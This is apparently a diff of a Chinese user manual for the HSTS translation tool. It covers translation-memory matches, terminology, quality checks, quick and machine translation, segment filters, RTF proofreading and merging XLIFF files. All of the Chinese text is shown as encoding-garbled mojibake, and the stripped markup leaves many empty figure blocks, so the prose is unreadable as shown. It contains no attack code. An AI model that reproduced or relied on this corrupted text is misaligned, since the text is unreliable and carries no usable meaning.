    + + + 编辑匹é…ã€åˆ é™¤åŒ¹é… + + 如果å‘现记忆库视图中的匹é…有错误需è¦æ›´æ­£ï¼Œæˆ–有é‡å¤å…¥åº“çš„å¥å­éœ€è¦åˆ é™¤ï¼Œåˆ™å¯ä»¥åˆ†åˆ«ä½¿ç”¨è®°å¿†åº“视图上的编辑匹é…和删除匹é…两个按钮æ¥è¿›è¡Œæ“作。 + +
    + è®°å¿†åº“ï¼šç¼–è¾‘åŒ¹é… + + + + + + + + +
    + + 在记忆库视图中选中è¦ç¼–辑的匹é…ã€ç‚¹å‡»ç¼–辑匹é…按钮,弹出如下编辑匹é…对è¯æ¡†ï¼š + +
    + ç¼–è¾‘åŒ¹é… + + + + + + + + +
    + + 编辑完æˆåŽç‚¹å‡»ç¡®å®šå³å¯å°†æ”¹åŠ¨å®žæ—¶åœ°ä¿å­˜åˆ°è®°å¿†åº“中。 + +
    + è®°å¿†åº“ï¼šåˆ é™¤åŒ¹é… + + + + + + + + +
    + + 删除匹é…çš„æ“作与编辑类似,选中匹é…åŽç‚¹å‡»åˆ é™¤åŒ¹é…按钮,然åŽç¡®è®¤åˆ é™¤å³å¯ã€‚ + + + 编辑或删除匹é…çš„æ“作对象å‡ä»…é™äºŽå®žæ—¶åœ°ä»Žé»˜è®¤è®°å¿†åº“中查询到的匹é…,而无法对预存的记忆库匹é…ã€æœºå™¨ç¿»è¯‘匹é…或快速翻译匹é…进行编辑和删除。 + + + + 对记忆库匹é…的编辑和删除æ“作都是直接生效ã€ä¸”无法撤销,请谨慎æ“作。 + +
    + + + 相关æœç´¢ + + 相关æœç´¢ä¸»è¦ç”¨äºŽæœç´¢è®°å¿†åº“中与指定æºæ–‡å†…容相关的译文,方法如下: + + + + 确认项目已正确设置记忆库,详情请å‚考; + + + + 选择æºæ–‡æˆ–译文中的内容,点击å³é”®èœå•æˆ–翻译èœå•ä¸­çš„相关æœç´¢ï¼› + 选中的内容也将自动å¤åˆ¶åˆ°ç³»ç»Ÿå‰ªè´´æ¿ï¼Œå¦‚果在记忆库中没有找到想è¦çš„结果,想在网络上继续æœç´¢ï¼Œå¯ç›´æŽ¥ä½¿ç”¨å¿«æ·é”® + Ctrl/Command+V + 将刚æ‰é€‰ä¸­çš„内容粘贴到æµè§ˆå™¨çš„æœç´¢æ¡†ä¸­ã€‚ + + +
    + XLIFF 编辑器:选择待æœç´¢å†…容 + + + + + + + + +
    +
    + + + 在弹出的相关æœç´¢å¯¹è¯æ¡†ä¸­ï¼Œæ ¹æ®éœ€è¦è°ƒæ•´å¦‚下设置: + + + + 区分大å°å†™ + + + + 忽略标记 + + å³ä¸æœç´¢æ–‡æœ¬æ®µä¸­çš„标记代ç ã€‚ + + + + æ­£åˆ™è¡¨è¾¾å¼ + + + + 记忆库 + + 选择è¦åœ¨å“ªä¸ªè®°å¿†åº“中æœç´¢ã€‚ + + + + 目标语言 + + 默认åªåœ¨å½“å‰ XLIFF + 文件的æºè¯­è¨€ä¸­æœç´¢ï¼Œåªæ˜¾ç¤ºå…¶ç›®æ ‡è¯­è¨€çš„内容,也å¯ä»¥é€‰æ‹©åŒä¸€è¯­è¨€çš„ä¸åŒå›½å®¶è¯­è¨€ç‰ˆæœ¬çš„译文作为å‚考。 + + + + 附加过滤æ¡ä»¶ + + + + æºæ–‡/译文 + + + + 包å«/ä¸åŒ…å« + + + + 文本内容 + + + + + +
    + 相关æœç´¢ + + + + + + + + +
    +
    + + + 点击æœç´¢æŒ‰é’®ï¼ŒæŸ¥çœ‹ç»“果。 + +
    + + åŒå‡»ç›¸å…³æœç´¢ç»“果中的译文åŽï¼Œå¯ä»¥é€‰æ‹©å…¶ä¸­çš„内容,å¤åˆ¶åˆ°å‰ªè´´æ¿ä¸­å¤‡ç”¨ã€‚ +
    +
    + + + 术语库 + + 和记忆库对应的,术语库相关的常用功能也类似: + + + 添加术语 + + è¦å°†æœ¯è¯­æ·»åŠ åˆ°æœ¯è¯­åº“,å¯ä»¥æŒ‰å¦‚下步骤æ“作: + + + + 确认已为项目设置了默认术语库,详情请å‚考; + + + + 在打开的 XLIFF + 文件中,åŒæ—¶é€‰ä¸­è¦æ·»åŠ çš„术语的æºæ–‡å’Œè¯‘文; + +
    + 添加术语 + + + + + + + + +
    +
    + + + 点击翻译èœå• > + 添加术语(或使用快æ·é”® + Ctrl/Command+T),在弹出的添加术语到术语库对è¯æ¡†ä¸­ï¼Œä¸Šä¸€æ­¥é€‰ä¸­çš„æºæ–‡å’Œè¯‘文已ç»è‡ªåŠ¨å¡«å†™åˆ°ç›¸åº”çš„ä½ç½®ï¼› + +
    + 添加术语对è¯æ¡† + + + + + + + + +
    +
    + + + 如有必è¦ï¼Œè¿˜å¯ä»¥å¡«å†™å±žæ€§å­—段,便于区分ä¸åŒå®¢æˆ·æˆ–题æ对åŒä¸€æœ¯è¯­æœ‰ä¸åŒç¿»è¯‘的情况; + + + + 确认所有信æ¯æ— è¯¯åŽç‚¹å‡»ç¡®å®šæŒ‰é’®ï¼Œå®Œæˆæœ¯è¯­çš„添加。 + +
    + + 用户å¯ä»¥åœ¨å·¥å…·èœå• > + 选项 > 翻译 + > 术语库中设置被判定为é‡å¤çš„术语的处ç†ç­–略,详情è§ã€‚ +
    + + + 获å–当å‰æ–‡æœ¬æ®µçš„术语 + + 若已正确地为项目设置了术语库,则在æ¯æ¬¡é€‰æ‹©ä¸€ä¸ªæ–‡æœ¬æ®µæ—¶ï¼ŒHSTS + 会自动地从术语库中获å–当å‰æ–‡æœ¬æ®µçš„术语,并显示在术语视图中。 + +
    + æœ¯è¯­åŒ¹é… + + + + + + + + +
    +
    + + + 在译文中æ’入术语 + + 将光标定ä½åœ¨è¯‘文中,åŒå‡»æœ¯è¯­è§†å›¾ä¸­çš„术语,å³å¯ä»¥å°†è¯¥æœ¯è¯­çš„译文æ’入到光标所在ä½ç½®ã€‚å¦å¤–,也å¯ä»¥ä½¿ç”¨å¿«æ·é”® + Ctrl+Shift+1~0 + æ¥æ’å…¥åºå·ä¸º 1~10 的术语。 + +
    + æ’入术语 + + + + + + + + +
    +
    + + + æœç´¢æœ¯è¯­ + + 在术语库中æœç´¢æœ¯è¯­çš„步骤如下: + + + + 确认已为项目设置了术语库,详情请å‚考; + + + + 在打开的 XLIFF 文件æºæ–‡æˆ–译文中,选择è¦æœç´¢çš„术语; + +
    + XLIFF 编辑器:选择待æœç´¢å†…容 + + + + + + + + +
    +
    + + + 点击翻译èœå• > + æœç´¢æœ¯è¯­ï¼› + + + + 在弹出的术语æœç´¢å¯¹è¯æ¡†ä¸­ï¼Œè‹¥ä¹‹å‰é€‰æ‹©äº†æœ¯è¯­ï¼Œä¹Ÿä¼šè‡ªåŠ¨å¡«å†™åœ¨æœç´¢æ¡†ä¸­ï¼›è‹¥æœªé€‰æ‹©ï¼Œåˆ™éœ€è¦è‡ªå·±å¡«å†™ã€‚å¦å¤–还å¯æ ¹æ®éœ€è¦è®¾ç½®å¦‚下å‚数: + +
    + æœç´¢æœ¯è¯­ + + + + + + + + +
    + + + + 区分大å°å†™ + + + + 忽略标记 + + + + æ­£åˆ™è¡¨è¾¾å¼ + + + + 相似度 + + 与文本段的匹é…率类似,å³ä¸¤ä¸ªæœ¯è¯­ä¹‹é—´çš„相似程度 + + + + 术语库 + + + + 目标语言 + + +
    + + + 点击æœç´¢æŒ‰é’®ï¼ŒæŸ¥çœ‹ç»“果。 + +
    +
    +
    + + + å“质检查 + + HSTS æ供了丰富的å“质检查功能,从å„æ–¹é¢ä¸ºç”¨æˆ·æ高翻译质é‡æ供了帮助。在工具èœå• + > 选项 > + å“质检查 > + å“质检查中,å¯ä»¥å¯ç”¨å¦‚下检查项: + +
    + 选项:å“质检查 + + + + + + + + +
    + + + + 术语一致性 + + 术语库中的术语被正确翻译。 + + + + 数字一致性 + + æºæ–‡ä¸­çš„数字在译文中正确输入。 + + + + 标记一致性 + + æºæ–‡ä¸­çš„标记在译文中正确æ’入。 + + + + éžè¯‘元素 + + æºæ–‡ä¸­çš„éžè¯‘元素在译文中正确输入。 + + + + 段首/段末空格 + + 译文å¥é¦–/å¥æœ«çš„空格与æºæ–‡ä¸€è‡´ã€‚ + + + + 文本段完整性 + + 译文éžç©ºã€ä¸”与æºæ–‡ä¸ä¸€æ ·ã€‚ + + + + 译文字数é™åˆ¶ + + 译文字数在å…许范围内,常用于软件 UIã€è§†é¢‘字幕等场景中。 + + + + 拼写检查 + + 译文的拼写正确。 + + + + 文本段一致性 + + æºæ–‡å’Œè¯‘文分别都一致。 + + + + 上述å“质检查项中,除文本段一致性之外,其余检查项å‡æ”¯æŒè‡ªåŠ¨æ£€æŸ¥ï¼Œå³å¯ä»¥è®¾ç½®åœ¨å®Œæˆç¿»è¯‘时或批准文本段时自动执行指定的一项或多项å“质检查。在翻译过程中,建议å¯ç”¨è‡ªåŠ¨å“质检查,以便在第一时间å‘现问题ã€å¹¶å°½æ—©è§£å†³ã€‚ + + 未通过å“质检查的文本段将在å“质检查结果视图中列出,åŒå‡»ç»“果视图中的问题项,å³å¯ç›´æŽ¥è·³è½¬åˆ°è¯¥æ–‡æœ¬æ®µã€‚由于该结果的展示形å¼æ˜¯ä¸€è¡Œå¯¹åº”一个问题,故当一个文本段åŒæ—¶æœ‰å¤šä¸ªå“质检查问题时,会有多个结果。 + + + 有些情况下,å“质检查功能所认为的问题,在实际中并ä¸ä¸€å®šå°±çœŸçš„是个问题。例如,段首/段末空格在拉ä¸è¯­è¨€ä¸­æ˜¯æœ‰å¿…è¦å­˜åœ¨çš„,而在亚洲语言中则ä¸éœ€è¦ã€‚故,对于被列出的å“质检查问题是å¦éœ€è¦ä¿®æ”¹ï¼Œåº”该由翻译人员根æ®ç›®æ ‡è¯­è¨€çš„实际需è¦æ¥å†³å®šã€‚ + +
    + + + 快速翻译 + + HSTS 的快速翻译是基于样例的机器翻译 (Example Based Machine + Translation, + EBMT),它å¯ä»¥æŠŠè®°å¿†åº“匹é…中的术语替æ¢æˆå½“å‰æ–‡æœ¬æ®µçš„术语,自动组装æˆè´¨é‡è¾ƒé«˜çš„译文。快速翻译将记忆库匹é…与术语结åˆï¼Œæ—¢æœ‰è®°å¿†åº“的高质é‡ã€åˆå‡å°‘了手工替æ¢æœ¯è¯­çš„ç¹çæ“作。下é¢ä¸¾ä¾‹è¯´æ˜Žå¿«é€Ÿç¿»è¯‘功能的使用场景: + + + + å‰ææ¡ä»¶ + + + + 记忆库中有文本段This is a black + keyboard.åŠå…¶è¯‘文这是一个黑色的键盘。 + +
    + 快速翻译:记忆库 + + + + + + + + +
    +
    + + + 术语库中有如下术语:black-黑色的ã€keyboard-键盘ã€white-白色的ã€mouse-é¼ æ ‡ + +
    + 快速翻译:术语库 + + + + + + + + +
    +
    +
    +
    + + + 当å‰æ–‡æœ¬æ®µæºæ–‡ + + This is a white mouse. + + + + 快速翻译得到译文 + + 这是一个白色的鼠标。 + +
    + 快速翻译 + + + + + + + + +
    +
    +
    + + 快速翻译有两个必è¦æ¡ä»¶ï¼š + + + + 当å‰æ–‡æœ¬æ®µåœ¨è®°å¿†åº“中有匹é…(需满足工具èœå• > + 选项 > 翻译 + > + 记忆库中的最低匹é…率,在上例中已设置为最低 + 35%); + + + + 该记忆库匹é…与当å‰æºæ–‡çš„差异处å‡åœ¨æœ¯è¯­åº“中有术语。 + + + + 建议在工具èœå• > 选项 + > + 翻译中å¯ç”¨è‡ªåŠ¨å¿«é€Ÿç¿»è¯‘功能,若未å¯ç”¨æ­¤é€‰é¡¹ï¼Œä¹Ÿå¯ä»¥é€šè¿‡ç¿»è¯‘èœå• + > 快速翻译æ¥æ‰‹åŠ¨æ‰§è¡Œå¿«é€Ÿç¿»è¯‘。 + + + 如果当å‰æ–‡æœ¬æ®µä¸æ»¡è¶³å¿«é€Ÿç¿»è¯‘的上述两个æ¡ä»¶ï¼Œåˆ™æ‰§è¡Œæ­¤æ“作ä¸ä¼šæœ‰ä»»ä½•å¯è§çš„效果。 + +
    + + + 机器翻译 + + HSTS æ供了 Bing Translator å’Œ Google Translate + 两ç§æœºå™¨ç¿»è¯‘引擎的支æŒï¼Œå‰è€…ç›®å‰å¯ä»¥å…费申请,åŽè€…则需è¦ä»˜è´¹è´­ä¹°ã€‚è¦ä½¿ç”¨æœºå™¨ç¿»è¯‘,在工具èœå• > + 选项 > 翻译 > + Google Translate/Bing + Translator 中设置如下å‚数: + +
    + 机器翻译:Google Translate + + + + + + + + +
    + +
    + 机器翻译:Bing Translator + + + + + + + + +
    + + + + 密钥 + + + + Google Translate:仅需输入密钥 + + + + Bing Translator:需è¦è¾“入客户端 ID + 和密钥 + + + + + + 自动机器翻译 + + + + æ—  Google Translate/Bing Translator + 预存匹é…时自动执行 + + + + 始终自动执行 + + + + 手动执行 + + + + + + 预存机器翻译 + + 预翻译时是å¦é¢„存该机器翻译结果,以节çœç¿»è¯‘æµé‡è´¹ç”¨åŠå‡å°‘等待网络å“应的时间。 + + +
    + + + 过滤文本段 + + 在翻译过程中有时需è¦æ ¹æ®æ–‡æœ¬æ®µçš„æŸäº›ç‰¹å¾ï¼ˆå¦‚状æ€ã€åŒ¹é…情况等)æ¥è¿‡æ»¤æ–‡æœ¬æ®µï¼Œä»¥ç¼©å°æŸ¥æ‰¾èŒƒå›´æˆ–方便排除干扰ã€æ‰¹é‡æ“作。HSTS + 内置了如下文本段过滤器: + +
    + XLIFF 编辑器:文本段过滤器 + + + + + + + + +
    + + + + å·²é”定 + + + + 未é”定 + + + + ç–‘é—® + + + + ä¸æ·»åŠ åˆ°è®°å¿†åº“ + + + + 带批注 + + + + 未翻译 + + + + è‰ç¨¿ + + + + 已翻译 + + + + ç¿»è¯‘æœªå®Œæˆ + + + + 已批准 + + + + 未批准 + + + + å·²ç­¾å‘ + + + + æœªç­¾å‘ + + + + é‡å¤ + + + + ä¸Šä¸‹æ–‡åŒ¹é… + + + + å®Œå…¨åŒ¹é… + + + + æ¨¡ç³ŠåŒ¹é… + + + + 此外,还å¯ä»¥ç‚¹å‡»æ–‡æœ¬æ®µè¿‡æ»¤å™¨ä¸‹æ‹‰åˆ—表å³è¾¹çš„自定义过滤器按钮æ¥æ·»åŠ è‡ªå®šä¹‰è¿‡æ»¤å™¨ï¼š
    + XLIFF 编辑器:添加自定义文本段过滤器 + + + + + + + + +
    自定义过滤器å¯ä»¥æŒ‰å¦‚下æ¡ä»¶è®¾ç½®ï¼š
    + +
    + 管ç†è‡ªå®šä¹‰è¿‡æ»¤å™¨ + + + + + + + + +
    + + + + 如下æ¡ä»¶çš„组åˆç±»åž‹ + + 满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶ + + + + 关键字 + + 包å«/ä¸åŒ…å«ï¼šæŒ‡å®šæ–‡æœ¬ + + + + 批注 + + 包å«/ä¸åŒ…å«/等于/ä¸ç­‰äºŽï¼šæŒ‡å®šæ–‡æœ¬ + + + + 属性 + + 属性å等于指定文本ã€ä¸”属性值等于指定文本 + + + + æˆåŠŸæ·»åŠ åŽï¼Œæ–°å¢žåŠ çš„文本段自定义过滤器将在文本段过滤器列表的最下方显示。
    + 文本段自定义过滤器 + + + + + + + + +
    +
    + + + ç¿»è¯‘è¿›åº¦åˆ†æž + + 进行翻译进度分æžçš„æ“作步骤与字数分æžç±»ä¼¼ï¼š + + + + 选择项目或XLIFFå­ç›®å½•ä¸­çš„任一个或多个 .hsxliff + 文件/文件夹,从å³é”®èœå•æˆ–项目èœå•ä¸­é€‰æ‹©ç¿»è¯‘进度分æžï¼›
    + ç¿»è¯‘è¿›åº¦åˆ†æž + + + + + + + + +
    +
    + + + 确认è¦åˆ†æžçš„文件列表,点击确定按钮。
    + 翻译进度分æžå¯¹è¯æ¡† + + + + + + + + +
    +
    + + + 分æžå®ŒæˆåŽï¼Œè‡ªåŠ¨æ‰“开分æžç»“果报告。 + +
    + 翻译进度分æžç»“æžœ + + + + + + + + +
    +
    +
    +
    +
    + + + 编辑与 QA + + + 打开文件 + + 编辑与 QA 的打开文件æ“作与翻译一样,详情请å‚考。 + + + + ä¿®æ”¹æ–‡æœ¬æ®µçŠ¶æ€ + + 编辑与 QA 的修改文本段状æ€æ“作与翻译一样,åªæ˜¯å…·ä½“修改的状æ€å€¼æœ‰æ‰€ä¸åŒï¼Œè¯¦æƒ…请å‚考。 + + + + 编辑译文 + + 编辑与 QA 的编辑译文æ“作与翻译一样,详情请å‚考。 + + + + 批注 + + 对文本段æºæ–‡æˆ–译文的任何æ„è§ã€å¤‡æ³¨ç­‰ä¿¡æ¯ï¼Œéƒ½å¯ä»¥ä»¥æ–‡æœ¬æ®µæ‰¹æ³¨çš„å½¢å¼æ·»åŠ ã€‚带有批注的文本段,会在状æ€åˆ—显示批注图标。对批注å¯è¿›è¡Œå¦‚下æ“作: + + + 添加 + + 选择一个或多个文本段åŽï¼Œä»Žå³é”®èœå•æˆ–编辑èœå•ä¸­æ‰“开添加批注,输入如下信æ¯ï¼š
    + 添加批注 + + + + + + + + +
    + +
    + 添加批注对è¯æ¡† + + + + + + + + +
    + + + + 应用范围 + + + + 选中文本段 + + 该批注仅添加到选中的一个或多个文本段中。 + + + + 所有文本段 + + 该批注添加到所有文本段中。 + + + + + + 批注 + + å³æ‰¹æ³¨çš„内容。 + + + + HSTS å…许在åŒä¸€ä¸ªæ–‡æœ¬æ®µä¸­æ·»åŠ å¤šä¸ªæ‰¹æ³¨ã€‚ +
    + + + 编辑 + + 选择一个文本段,å³é”®èœå• > + 编辑批注,å³å¯æ‰“开编辑批注对è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦ç¼–辑的批注æ¡ç›®ï¼Œç‚¹å‡»ç¼–辑按钮,å³å¯ç¼–辑批注内容。若编辑的批注类型为所有文本段,则编辑将修改所有文本段的åŒä¸€æ‰¹æ³¨ã€‚
    + 编辑批注 + + + + + + + + +
    + +
    + 编辑批注对è¯æ¡† + + + + + + + + +
    +
    + + + 删除 + + 选择一个或多个文本段,从å³é”®èœå•æˆ–编辑èœå• > + 删除批注,确认åŽå³å¯åˆ é™¤æ‰€é€‰æ–‡æœ¬æ®µçš„所有批注。若删除的批注类型为所有文本段,则删除其在任一个文本段的批注,都将删除所有文本段中的åŒä¸€æ‰¹æ³¨ã€‚ + +
    + + + ç¼–è¾‘è¿›åº¦åˆ†æž + + 编辑进度分æžçš„æ“作与翻译进度分æžä¸€æ ·ï¼Œè¯¦æƒ…请å‚考。 + + + + RTF 外部校对 + + 有些编辑或校对人员å¯èƒ½æ›´å–œæ¬¢ç”¨ Word 之类的文字编辑工具æ¥å®Œæˆå·¥ä½œï¼ŒHSTS 为这些用户æ供了 RTF + 导出/导入功能æ¥å®žçŽ°è¿™ç§éœ€æ±‚:在编辑/校对之å‰ï¼ŒæŠŠ XLIFF 文件的内容导出到 RTF 文件中,并用任何å¯ç¼–辑 RTF 文件的工具(如 + Word)æ¥å®Œæˆç¼–辑/校对工具,最åŽå†å°†æ›´æ–°åŽ RTF 导入到 XLIFF。具体方法如下: + + + 导出 RTF + + + + 在项目中选择或打开è¦å¯¼å‡ºçš„ XLIFF + 文件,从文件èœå•æˆ–å³é”®èœå•æ‰“开导出 + RTFï¼› + +
    + 导出 RTF + + + + + + + + +
    +
    + + + 在将 XLIFF 文件导出为 RTF 对è¯æ¡†ä¸­ï¼Œé€‰ä¸­çš„ + XLIFF å·²ç»è¢«è‡ªåŠ¨è¯†åˆ«ï¼Œè¿˜éœ€è¦è®¾ç½®å¦‚下å‚数:
    + 将 XLIFF 文件导出为 RTF + + + + + + + + +
    + + + + 导出内容 + + 除了默认的æºæ–‡ã€è¯‘文之外,还å¯ä»¥é€‰æ‹©å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€å’Œæ‰¹æ³¨ã€‚ + + + + å¯¼å‡ºæ–¹å¼ + + + + 排除 + + + + å·²é”定文本段 + + + + 上下文匹é…文本段 + + + + 完全匹é…文本段 + + + + + + 仅导出 + + + + 带批注的文本段 + + + + 带疑问的文本段 + + + + + + + + RTF ä¿å­˜è·¯å¾„ + + +
    + + + 确认上述信æ¯éƒ½å·²è®¾ç½®å¥½ä¹‹åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®å¯¼å‡ºã€‚ + +
    +
    + + + 导入 RTF + + + + 在项目中选择或打开è¦å¯¼å…¥ RTF 以更新内容的 XLIFF + 文件,从文件èœå•æˆ–å³é”®èœå•æ‰“开导入 + RTFï¼› + +
    + 导入 RTF + + + + + + + + +
    +
    + + + 选择已编辑/已校对的 RTF 文件,点击确定按钮。
    + 导入 RTF 以更新 XLIFF + + + + + + + + +
    +
    +
    +
    +
    + + + å“质检查 + + HSTS çš„å“质检查功能已ç»åœ¨å‰é¢çš„部分进行了介ç»ï¼Œæˆ‘们推è在翻译过程中å¯ç”¨è‡ªåŠ¨å“质检查,而åŒæ—¶ï¼Œç”¨æˆ·ä¹Ÿå¯ä»¥éšæ—¶è°ƒç”¨å•ä¸ªæˆ–多个å“质检查项进行检查。 + + + å•é¡¹å“质检查 + + å¯ä»¥åˆ†åˆ«å¯¹å½“å‰ç¼–辑器中打开(包括å•ç‹¬æ‰“开和åˆå¹¶æ‰“开)的一个或多个 + XLIFF文件进行数字一致性ã€æ ‡è®°ä¸€è‡´æ€§çš„å•é¡¹æ£€æŸ¥ï¼Œå“质检查未通过的结果åŒæ ·ä¼šåœ¨å“质检查结果视图中列出。 + +
    + å•é¡¹å“质检查 + + + + + + + + +
    +
    + + + 批é‡å“质检查 + + 批é‡å“质检查å¯ä»¥åŒæ—¶ XLIFF + 文件进行多项å“质检查,方便用户对分é…给本人的文件ã€ä»»åŠ¡ã€ä¹ƒè‡³æ•´ä¸ªé¡¹ç›®ï¼Œè¿›è¡Œç¿»è¯‘å“质的统查和最åŽç¡®è®¤ã€‚具体步骤如下: + + + + 在项目中选择或打开è¦æ£€æŸ¥çš„一个或多个 XLIFF + 文件或文件夹,从å“质检查或å³é”®èœå•æ‰“å¼€å“质检查;
    + å“质检查 + + + + + + + + +
    + +
    + å“质检查对è¯æ¡† + + + + + + + + +
    +
    + + + 点击选项按钮å¯ä»¥é€‰æ‹©è¦æ‰§è¡Œçš„å“质检查项,并对æ¯ä¸ªæ£€æŸ¥é¡¹ç›¸å…³çš„å‚数进行设置; + +
    + 选项:å“质检查 + + + + + + + + +
    +
    + + + 回到å“质检查对è¯æ¡†ï¼Œç‚¹å‡»ç¡®å®šå³å¯å¼€å§‹æ£€æŸ¥ã€‚检查结果将列出在如下图所示的å“质检查结果视图中: + +
    + å“质检查结果 + + + + + + + + +
    +
    +
    +
    +
    + + + 预览翻译 + + 预览翻译是指将 XLIFF + 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ï¼Œä¾›ç¿»è¯‘人员预览翻译好之åŽçš„文件的实际展示效果。方法是:在打开(包括å•ç‹¬æ‰“开和åˆå¹¶æ‰“开) XLIFF + 文件之åŽï¼Œç‚¹å‡»ç¿»è¯‘èœå• > + 预览翻译å³å¯ã€‚ + è‹¥æºæ–‡ä»¶ä¸ºåŸºäºŽ XML çš„æ ¼å¼ï¼ˆåŒ…括 .docx 等基于 XML + 的压缩包格å¼ï¼‰ï¼Œåˆ™è¯‘文中丢失或错误的标记å¯èƒ½å¯¼è‡´è½¬æ¢åŽä¾›é¢„览的 XML + 文件结构ä¸è§„范,从而无法打开预览文件。因此强烈建议在预览翻译之å‰å…ˆè¿›è¡Œæ ‡è®°ä¸€è‡´æ€§æ£€æŸ¥ï¼Œå¹¶ä¿®å¤æ‰€æœ‰æ ‡è®°é—®é¢˜ã€‚ + 预览翻译会调用系统默认关è”的应用程åºæ¥æ‰“开预览文件,如果没有安装该应用程åºï¼Œåˆ™é¢„览会报错并中止预览。å¯ä»¥å°†/Intermediate/Other目录中生æˆçš„预览文件å¤åˆ¶åˆ°å®‰è£…了目标文件关è”程åºçš„计算机中打开预览。 + +
    + 预览翻译 + + + + + + + + +
    +
    +
    + + + 完æˆé¡¹ç›® + + 按照å‰é¢çš„步骤将所有文本段都翻译完æˆã€å¹¶ç»è¿‡ç›¸å…³çš„ QA 修正åŽï¼Œé¡¹ç›®å·²ç»æŽ¥è¿‘尾声了,剩下的就是如下一些收尾工作。 + + + åˆå¹¶æ–‡ä»¶ + + 如果在之å‰çš„项目译å‰å‡†å¤‡é˜¶æ®µï¼Œå› ä¸ºå•ä¸ª XLIFF + 文件太大而使用了分割文件功能æ¥åˆ†å‘任务的è¯ï¼Œå°±éœ€è¦å°†åˆ†å‰²åŽçš„多个 XLIFF + åˆå¹¶ä¸ºä¸€ä¸ªæ–‡ä»¶ã€‚æ“作步骤如下: + + + + 在项目中选择由åŒä¸€ä¸ª XLIFF + 分割出æ¥çš„多个 XLIFF 文件; + +
    + åˆå¹¶ XLIFF 文件 + + + + + + + + +
    +
    + + + 确认待åˆå¹¶çš„ XLIFF 文件刚好是由åŒä¸€ä¸ª XLIFF + 分割而æˆã€ä¸”没有é‡å¤æˆ–丢失的部分,如下é¢è¿™ä¸ªä¾‹å­ï¼š + åˆå¹¶ XLIFF 文件 + + 以分割两次的情况举例: + + + + æŸæ–‡ä»¶File.hsxliff先分割为File_1.hsxliffã€File_2.hsxliff两个文件; + + + + 把File_2.hsxliffå†æ¬¡åˆ†å‰²ä¸ºFile_2_1.hsxliffã€File_2_2.hsxliff两个更å°çš„文件; + + + + åˆå¹¶æ—¶åªéœ€è¦é€‰æ‹©File_1.hsxliffã€File_2_1.hsxliffã€File_2_2.hsxliff这三个文件就å¯ä»¥ã€‚ + + + + + + + 点击完æˆæŒ‰é’®ï¼›
    + åˆå¹¶ XLIFF 文件对è¯æ¡† + + + + + + + + +
    +
    + + + åˆå¹¶æˆåŠŸåŽçš„ XLIFF + 文件将存放在与分割å‰çš„文件åŒä¸€ç›®å½•ä¸­ï¼Œæ–‡ä»¶å中添加_mergedåŽç¼€ä»¥ç¤ºåŒºåˆ†ã€‚ + +
    + å·²åˆå¹¶çš„ XLIFF 文件 + + + + + + + + +
    +
    +
    +
    + + + 解é”é‡å¤æ–‡æœ¬æ®µ + + 解é”é‡å¤æ–‡æœ¬æ®µåŒæ ·æ˜¯ä¸Žé¡¹ç›®è¯‘å‰å‡†å¤‡é˜¶æ®µçš„é”定é‡å¤æ–‡æœ¬æ®µç›¸å¯¹åº”的,将之å‰é”定的é‡å¤æ–‡æœ¬æ®µè§£é”是为了è¦å°†å·²ç¿»è¯‘好的译文应用到这些é‡å¤æ–‡æœ¬æ®µä¸­ã€‚解é”åŽï¼Œåº”用é‡å¤æ–‡æœ¬æ®µè¯‘æ–‡æ“作请è§ä¸‹ä¸€èŠ‚ç¹æ®–翻译。 + + 解é”所有已é”定的文本段åªéœ€è¦å¦‚下简å•çš„几个步骤: + + + + 打开或åˆå¹¶æ‰“å¼€è¦è§£é”çš„ XLIFF 文件; + + + + 在编辑器中选择文本段过滤器已é”定文本段; + +
    + 解é”文本段:过滤已é”定文本段 + + + + + + + + +
    +
    + + + 选择è¦è§£é”的文本段; + å¯ä»¥ç”¨ Ctrl/Shift + 与鼠标左键多选 + + + + + 点击å³é”® > é”定文本段。 + +
    + 解é”文本段 + + + + + + + + +
    +
    +
    +
    + + + ç¹æ®–翻译 + + ç¹æ®–翻译主è¦æ˜¯ç”¨äºŽå¤„ç†é‡å¤æ–‡æœ¬æ®µï¼Œå°†ä¸€ä¸ªå·²ç¿»è¯‘好的文本段译文应用到所有与其有相åŒæºæ–‡çš„文本段中,主è¦ä¸Žå‰é¢æ到的é”定/解é”é‡å¤æ–‡æœ¬æ®µé…åˆä½¿ç”¨ã€‚步骤如下: + + + + 打开或åˆå¹¶æ‰“å¼€è¦æ‰§è¡Œç¹æ®–翻译的 XLIFF 文件; + + + + 点击翻译èœå• > + ç¹æ®–翻译; + +
    + ç¹æ®–翻译 + + + + + + + + +
    +
    + + + 在编辑器中选择文本段过滤器é‡å¤æ–‡æœ¬æ®µï¼› + + + + 检查应用了译文的文本段是å¦éœ€è¦æ‰‹åŠ¨è°ƒæ•´å†…部标记。 + +
    + + + ç¹æ®–翻译默认ä¸ä¼šè¦†ç›–文本段中已有的译文,若原有的译文已ç»ä¸å†éœ€è¦ï¼Œåº”先使用编辑èœå• + > + 删除译文功能将译文删除,然åŽå†æ‰§è¡Œç¹æ®–翻译。 + +
    + + + å°† XLIFF 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ + + 完æˆäº†ä¸Šè¿°æ‰€æœ‰æ­¥éª¤ä¹‹åŽï¼Œå»ºè®®å†è¿›è¡Œä¸€æ¬¡å“质检查,以确认译文中没有明显的错误(特别是内部标记),然åŽå°±å¯ä»¥ç”Ÿæˆç›®æ ‡æ–‡ä»¶äº†ã€‚生æˆåŒ…å«è¯‘文的目标文件步骤如下: + + + + 在项目中选择è¦è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶çš„一个或多个 XLIFF + 文件/文件夹; + + + + 点击å³é”®/文件èœå• > + 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ï¼› + +
    + è½¬æ¢ XLIFF 为目标文件 + + + + + + + + +
    +
    + + + åœ¨è½¬æ¢ XLIFF + 为目标文件对è¯æ¡†ä¸­ï¼Œç¡®è®¤å¦‚下å‚数的设置:
    + è½¬æ¢ XLIFF 为目标文件对è¯æ¡† + + + + + + + + +
